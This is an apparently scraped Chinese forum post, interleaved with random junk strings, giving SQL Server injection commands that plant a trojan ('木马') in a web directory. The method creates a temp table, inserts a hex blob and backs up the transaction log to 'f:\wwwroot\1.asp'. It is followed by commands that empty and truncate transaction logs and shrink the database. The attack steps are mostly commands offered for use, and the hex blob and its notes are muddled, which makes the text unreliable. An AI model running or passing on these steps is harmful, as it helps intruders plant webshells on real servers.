select * from master.dbo.sysdatabases 列出所有列的记录
$ K; _( R7 m3 s3 K" f$ b. E2 r
" e2 K$ Y* b7 r- g( Wselect name from master.dbo.sysdatabases 仅列出name列的记录% {! B" b) ^3 U) X" G6 m
1 y5 W$ Z8 \3 ^8 T6 D8 u4 U- f注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份! e9 r& y* i& [0 q0 z4 v( y
M4 I/ \3 _& u3 E, Z( V( w+ P- xalter database 数据库名 set RECOVERY FULL--' c8 q1 h) }2 v; q' H0 @+ D
- A! |3 P% U2 l! c( U/ G4 [ q Z) S! I
create table cmd (a image)-- \**cmd是创建的临时表
( t- s# |* H j7 Q2 @! z% w8 |: m3 C5 A. o4 O( v2 x' x) ^
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--- d, c+ U% g/ S# ]$ h- R
{2 M F6 G# Z9 s/ ]7 ?: T4 `
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--
* r# }9 b f: I2 }5 v K2 x
2 o$ o5 `# `8 ^//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
1 p6 W( j- q6 t) J: ~7 j' f+ n7 x& @, x8 y
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
~2 [+ K1 |' w
3 N/ r9 A% D u) D' \4 Vdrop table cmd--
7 E& t# ]) w2 A. f1 k
Q- P0 ~. E" C6 z6 \' R9 P; \6 u) y R& ]' Y; r
f:\
% c1 J6 h3 h5 Y6 d8 M) ^16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)- @. l3 T7 H; J1 B K2 L
% @6 @. g. U) t/ y6 H! o最好多加几个回车0d0a,要不会出错哈
: E$ t% e5 s( r' M3 T! F
& i3 W9 |) g( {- c$ x; P! l7 h# q3 S4 a# G+ o. D
SQL Server日志清空方法 2 Y* C4 Z( Y n& U
: p2 a1 u. y9 A% P; [* L. F
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
) l' I8 x s; K8 d6 k1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
9 W' m- {1 n7 r3 }/ |+ w) [$ [; { R
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
. i9 \, J9 O# [% I0 i5 `! s. p0 O* {/ s- D" Y) b7 [, G0 L
3.收缩数据库:DBCC SHRINKDATABASE(databasename)
7 k3 r3 Q7 k; k$ H) G |